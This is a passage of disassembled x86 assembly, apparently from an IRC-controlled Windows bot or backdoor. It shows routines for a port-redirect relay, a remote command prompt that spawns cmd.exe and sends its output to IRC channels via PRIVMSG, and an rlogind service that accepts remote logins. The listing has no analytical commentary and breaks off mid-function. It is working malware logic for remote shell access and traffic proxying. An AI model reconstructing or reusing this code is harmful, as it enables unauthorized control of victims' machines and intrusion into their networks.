		mov	[ebp+arg_0], ebx
		call	dword_42EC30	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40EB16
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_43054C[eax], ebx
		call	dword_42EAE0	; WSAAsyncSelect
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	dword_42EBE0	; bind
		test	eax, eax
		jnz	loc_40EB16
		push	0Ah
		push	ebx
		call	dword_42EBDC	; listen
		test	eax, eax
		jnz	loc_40EB16


loc_40EA5C:				; CODE XREF: sub_40E9B2+BEj
					; sub_40E9B2+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_42EC44	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40EA5C
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_42EC3C	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset aRedirectClient ; "[REDIRECT]: Client connection	from IP: "...
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Source]
		push	10h		; int
		push	eax		; Source
		call	sub_411C3A
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_430544[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset sub_40EB3A
		push	esi
		push	esi
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_430554[ecx], eax
		jz	short loc_40EB01


loc_40EAEE:				; CODE XREF: sub_40E9B2+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_40EA5C
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40EAEE
; ---------------------------------------------------------------------------


loc_40EB01:				; CODE XREF: sub_40E9B2+13Aj
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset aRedirectFail_0 ; "[REDIRECT]: Failed to	start client thre"...
		call	sub_402DD7
		pop	ecx
		pop	ecx
		jmp	short loc_40EB19
; ---------------------------------------------------------------------------


loc_40EB16:				; CODE XREF: sub_40E9B2+61j
					; sub_40E9B2+93j ...
		mov	edi, [ebp+arg_0]


loc_40EB19:				; CODE XREF: sub_40E9B2+162j
		push	edi
		call	dword_42EC48	; closesocket
		push	ebx
		call	dword_42EC48	; closesocket
		push	[ebp+var_3C]
		call	sub_411F56
		pop	ecx
		push	esi
		call	ds:dword_41B06C	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40E9B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB3A	proc near		; DATA XREF: sub_40E9B2+11Co

var_1344	= byte ptr -1344h
Source		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
Dst		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_42EC30	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_40ECF0
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_3C]
		call	dword_42EBB4	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_42EBF0	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40EBCA
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_42EC34	; gethostbyname
		jmp	short loc_40EBD8
; ---------------------------------------------------------------------------


loc_40EBCA:				; CODE XREF: sub_40EB3A+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_42EB70	; gethostbyaddr


loc_40EBD8:				; CODE XREF: sub_40EB3A+8Ej
		cmp	eax, edi
		jz	loc_40ECF0
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		call	dword_42EB60	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40ECF0
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_42EC3C	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset aRedirectClie_0 ; "[REDIRECT]: Client connection	to IP: %s"...
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Source]
		push	10h		; int
		push	eax		; Source
		call	sub_411C3A
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_43054C[ebx]
		mov	dword_430544[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_430550[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_40ED21
		push	edi
		push	edi
		call	ds:dword_41B064	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_430554[ecx], eax
		jz	short loc_40ECDD


loc_40EC8A:				; CODE XREF: sub_40EB3A+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_40EC99
		push	32h
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40EC8A
; ---------------------------------------------------------------------------


loc_40EC99:				; CODE XREF: sub_40EB3A+153j
		mov	ebx, 1000h


loc_40EC9E:				; CODE XREF: sub_40EB3A+19Fj
		push	ebx		; Size
		lea	eax, [ebp+var_1344]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_42EBCC	; recv
		cmp	eax, edi
		jle	short loc_40ECF0
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC9E
		jmp	short loc_40ECF0
; ---------------------------------------------------------------------------


loc_40ECDD:				; CODE XREF: sub_40EB3A+14Ej
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset aRedirectFail_1 ; "[REDIRECT]: Failed to	start connection "...
		call	sub_402DD7
		pop	ecx
		pop	ecx


loc_40ECF0:				; CODE XREF: sub_40EB3A+44j
					; sub_40EB3A+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_43054C[eax]
		call	dword_42EC48	; closesocket
		push	[ebp+arg_0]
		call	dword_42EC48	; closesocket
		push	[ebp+var_4]
		call	sub_411F56
		pop	ecx
		push	edi
		call	ds:dword_41B06C	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40EB3A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED21	proc near		; DATA XREF: sub_40EB3A+130o

Dst		= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_40ED58:				; CODE XREF: sub_40ED21+7Cj
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	0
		push	edi
		push	eax
		push	dword_430550[esi]
		call	dword_42EBCC	; recv
		test	eax, eax
		jle	short loc_40ED9F
		push	0
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	dword_43054C[esi]
		call	dword_42EC00	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40ED58


loc_40ED9F:				; CODE XREF: sub_40ED21+61j
		push	dword_430550[esi]
		call	dword_42EC48	; closesocket
		push	[ebp+var_14]
		call	sub_411F56
		pop	ecx
		push	0
		call	ds:dword_41B06C	; ExitThread
		pop	edi
		pop	esi
sub_40ED21	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EDBE	proc near		; CODE XREF: sub_40EDEE+2Ap
					; sub_40EE26+7Ep ...
		mov	eax, dword_475260
		push	esi
		mov	esi, ds:dword_41B050
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EDD2
		push	eax
		call	esi	; CloseHandle


loc_40EDD2:				; CODE XREF: sub_40EDBE+Fj
		mov	eax, dword_475268
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EDDF
		push	eax
		call	esi	; CloseHandle


loc_40EDDF:				; CODE XREF: sub_40EDBE+1Cj
		mov	eax, dword_47525C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EDEC
		push	eax
		call	esi	; CloseHandle


loc_40EDEC:				; CODE XREF: sub_40EDBE+29j
		pop	esi
		retn
sub_40EDBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40EDEE(char *Str)

sub_40EDEE	proc near		; CODE XREF: sub_409557+3DF4p

var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+Str]
		push	dword_475264
		call	ds:dword_41B054	; WriteFile
		test	eax, eax
		jnz	short loc_40EE21
		call	sub_40EDBE
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40EE21:				; CODE XREF: sub_40EDEE+28j
		push	1
		pop	eax
		leave
		retn
sub_40EDEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40EE26(int,char *Str1,int)

sub_40EE26	proc near		; CODE XREF: sub_40EEAD+D3p
					; sub_40EEAD+F2p ...

Str		= byte ptr -200h
arg_0		= dword	ptr  8
Str1		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_428D64 ; Str2
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EE69
		push	7D0h
		call	ds:dword_41B048	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+Str]
		push	[ebp+Str1]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_40EE80
; ---------------------------------------------------------------------------


loc_40EE69:				; CODE XREF: sub_40EE26+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+Str]
		push	offset aS_2	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40EE80:				; CODE XREF: sub_40EE26+41j
		lea	eax, [ebp+Str]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_0]
		call	dword_42EC00	; send
		test	eax, eax
		jg	short loc_40EEA9
		call	sub_40EDBE


loc_40EEA9:				; CODE XREF: sub_40EE26+7Cj
		xor	eax, eax
		leave
		retn
sub_40EE26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EEAD	proc near		; DATA XREF: sub_40F002+170o

Dst		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset byte_47526C


loc_40EEC5:				; CODE XREF: sub_40EEAD+79j
					; sub_40EEAD+DBj
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	dword_475260
		call	ds:dword_41B130	; PeekNamedPipe
		test	eax, eax
		jz	loc_40EF93
		cmp	[ebp+var_4], edi
		jnz	short loc_40EF28
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_47525C
		call	ds:dword_41B12C	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_40EF1E
		cmp	[ebp+var_8], 103h
		jnz	loc_40EFB7


loc_40EF1E:				; CODE XREF: sub_40EEAD+62j
		push	0Ah
		call	ds:dword_41B048	; Sleep
		jmp	short loc_40EEC5
; ---------------------------------------------------------------------------


loc_40EF28:				; CODE XREF: sub_40EEAD+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40EF3F


loc_40EF2F:				; CODE XREF: sub_40EEAD+90j
		cmp	[ebp+eax+Dst], 0Ah
		jz	short loc_40EF8D
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40EF2F


loc_40EF3F:				; CODE XREF: sub_40EEAD+80j
		mov	[ebp+var_4], esi


loc_40EF42:				; CODE XREF: sub_40EEAD+E4j
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+Dst]
		push	eax
		push	dword_475260
		call	ds:dword_41B04C	; ReadFile
		test	eax, eax
		jz	short loc_40EFDF
		lea	eax, [ebp+Dst]
		push	eax		; int
		push	ebx		; Str1
		push	dword_4752A0	; int
		call	sub_40EE26
		add	esp, 0Ch
		jmp	loc_40EEC5
; ---------------------------------------------------------------------------


loc_40EF8D:				; CODE XREF: sub_40EEAD+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40EF42
; ---------------------------------------------------------------------------


loc_40EF93:				; CODE XREF: sub_40EEAD+45j
		push	offset aCmdCouldNotRea ; "[CMD]: Could not read	data from procces"...
		push	ebx		; Str1
		push	dword_4752A0	; int
		call	sub_40EE26
		push	[ebp+arg_0]
		call	sub_411F56
		add	esp, 10h
		push	1
		call	ds:dword_41B06C	; ExitThread


loc_40EFB7:				; CODE XREF: sub_40EEAD+6Bj
		call	sub_40EDBE
		push	offset aCmdProccessHas ; "[CMD]: Proccess has terminated.\r\n"
		push	ebx		; Str1
		push	dword_4752A0	; int
		call	sub_40EE26
		push	[ebp+arg_0]
		call	sub_411F56
		add	esp, 10h
		push	edi
		call	ds:dword_41B06C	; ExitThread


loc_40EFDF:				; CODE XREF: sub_40EEAD+C3j
		push	offset aCmdCouldNotR_0 ; "[CMD]: Could not read	data from procces"...
		push	ebx		; Str1
		push	dword_4752A0	; int
		call	sub_40EE26
		push	[ebp+arg_0]
		call	sub_411F56
		add	esp, 10h
		push	edi
		call	ds:dword_41B06C	; ExitThread
sub_40EEAD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F002	proc near		; CODE XREF: sub_409557+4A31p

Dest		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
Dst		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40EDBE
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_42EC6C	; SearchPathA
		test	eax, eax
		jz	loc_40F0FC
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, ds:dword_41B138
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40F0FC
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40F0FC
		mov	edi, ds:dword_41B100
		push	3
		push	esi
		push	esi
		push	offset dword_475264
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_41B134	; DuplicateHandle
		test	eax, eax
		jz	short loc_40F0FC
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+Dst]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_428D64
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	ds:dword_41B094	; CreateProcessA
		test	eax, eax
		jnz	short loc_40F104


loc_40F0FC:				; CODE XREF: sub_40F002+2Fj
					; sub_40F002+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40F1B2
; ---------------------------------------------------------------------------


loc_40F104:				; CODE XREF: sub_40F002+F8j
		push	[ebp+var_4]
		mov	edi, ds:dword_41B050
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_475260, eax
		mov	eax, [ebp+var_8]
		mov	dword_475268, eax
		mov	eax, [ebp+Dst]
		mov	dword_47525C, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4752A0, eax
		jz	short loc_40F13E
		push	[ebp+arg_4]
		jmp	short loc_40F13F
; ---------------------------------------------------------------------------


loc_40F13E:				; CODE XREF: sub_40F002+135j
		push	ebx		; Format


loc_40F13F:				; CODE XREF: sub_40F002+13Aj
		push	offset byte_47526C ; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	esi		; int
		push	7		; int
		push	offset aCmdRemoteComma ; "[CMD]: Remote	Command	Prompt"
		call	sub_411C3A
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_430548[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40EEAD
		push	esi
		push	esi
		call	ds:dword_41B064	; CreateThread
		cmp	eax, esi
		mov	dword_430554[edi], eax
		jnz	short loc_40F1B0
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aCmdFailedToSta ; "[CMD]: Failed	to start IO thread, error"...
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		add	esp, 10h


loc_40F1B0:				; CODE XREF: sub_40F002+185j
		xor	eax, eax


loc_40F1B2:				; CODE XREF: sub_40F002+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F002	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F1B7	proc near		; DATA XREF: sub_40F445+1BEo

var_3D4		= byte ptr -3D4h
Str1		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
Dest		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
Args		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_3D4]
		push	1
		mov	[ebp+var_C], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_43054C[eax]
		xor	edi, edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_1F4], ebx
		mov	eax, [esi]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	dword_42EB9C	; select
		test	eax, eax
		jnz	short loc_40F23B
		push	dword ptr [esi]
		call	dword_42EC48	; closesocket
		push	[ebp+arg_0]
		call	sub_411F56
		pop	ecx
		push	edi
		call	ds:dword_41B06C	; ExitThread


loc_40F23B:				; CODE XREF: sub_40F1B7+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_42EBCC	; recv
		lea	eax, [ebp+Args]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_40F3BC
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_40F3BC
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_40F3BC
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	dword_42EB1C	; getpeername
		test	eax, eax
		jz	short loc_40F2B4
		call	dword_42EB50	; WSAGetLastError
		push	eax		; Args
		push	offset aRlogindErrorGe ; "[RLOGIND]: Error: getpeername(): <%d>."
		call	sub_402DD7
		push	[ebp+arg_0]
		call	sub_411F56
		add	esp, 0Ch
		push	edi
		call	ds:dword_41B06C	; ExitThread


loc_40F2B4:				; CODE XREF: sub_40F1B7+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	dword_42EB70	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_40F2DE
		push	[ebp+var_18]
		call	dword_42EC3C	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		jmp	short loc_40F2EC
; ---------------------------------------------------------------------------


loc_40F2DE:				; CODE XREF: sub_40F1B7+10Dj
		push	dword ptr [eax]	; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strcpy


loc_40F2EC:				; CODE XREF: sub_40F1B7+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_428D64
		push	dword ptr [esi]
		call	dword_42EC00	; send
		cmp	dword_4752B0, edi
		jnz	short loc_40F34E
		push	[ebp+var_18]
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+Args]
		push	eax		; Args
		call	sub_40F416
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40F34E
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_42EC00	; send
		push	dword ptr [esi]
		call	dword_42EC48	; closesocket
		push	[ebp+arg_0]
		call	sub_411F56
		pop	ecx
		push	edi
		call	ds:dword_41B06C	; ExitThread


loc_40F34E:				; CODE XREF: sub_40F1B7+14Cj
					; sub_40F1B7+16Dj
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	offset aRlogindUserLog ; "[RLOGIND]: User logged in: <%s@%s>."
		call	sub_402DD7
		push	[ebp+arg_0]
		call	sub_40FC5F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40F395
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset aRlogindErrorSe ; "[RLOGIND]: Error: SessionRun(): <%d>."
		call	sub_402DD7
		push	[ebp+arg_0]
		call	sub_411F56
		add	esp, 0Ch
		push	ebx
		call	ds:dword_41B06C	; ExitThread


loc_40F395:				; CODE XREF: sub_40F1B7+1B9j
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	offset aRlogindUserL_0 ; "[RLOGIND]: User logged out: <%s@%s>."
		call	sub_402DD7
		push	[ebp+arg_0]
		call	sub_411F56
		add	esp, 10h
		push	edi
		call	ds:dword_41B06C	; ExitThread
sub_40F1B7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3BC	proc near		; CODE XREF: sub_40F1B7+9Ap
					; sub_40F1B7+A7p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_42EBCC	; recv
		cmp	eax, 1
		jnz	short loc_40F40C
		mov	esi, [ebp+arg_4]


loc_40F3DA:				; CODE XREF: sub_40F3BC+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_40F401
		test	al, al
		jz	short loc_40F410
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_42EBCC	; recv
		cmp	eax, 1
		jz	short loc_40F3DA
		jmp	short loc_40F40C
; ---------------------------------------------------------------------------


loc_40F401:				; CODE XREF: sub_40F3BC+27j
		push	offset aRlogindProtoco ; "[RLOGIND]: Protocol string too long."
		call	sub_402DD7
		pop	ecx


loc_40F40C:				; CODE XREF: sub_40F3BC+19j
					; sub_40F3BC+43j
		xor	eax, eax
		jmp	short loc_40F413
; ---------------------------------------------------------------------------


loc_40F410:				; CODE XREF: sub_40F3BC+2Bj
		push	1
		pop	eax


loc_40F413:				; CODE XREF: sub_40F3BC+52j
		pop	esi
		leave
		retn
sub_40F3BC	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40F416(char *Args,int,char *Str1)

sub_40F416	proc near		; CODE XREF: sub_40F1B7+163p

Args		= dword	ptr  4
arg_4		= dword	ptr  8
Str1		= dword	ptr  0Ch

		push	[esp+Args]	; Str2
		push	[esp+4+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F441
		push	[esp+arg_4]
		push	[esp+4+Args]	; Args
		push	offset aRlogindLoginRe ; "[RLOGIND]: Login rejected, Remote user:"...
		call	sub_402DD7
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40F441:				; CODE XREF: sub_40F416+11j
		push	1
		pop	eax
		retn
sub_40F416	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F445	proc near		; DATA XREF: sub_409557+48DAo

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
Source		= byte ptr -414h
var_214		= dword	ptr -214h
Str		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
Dst		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
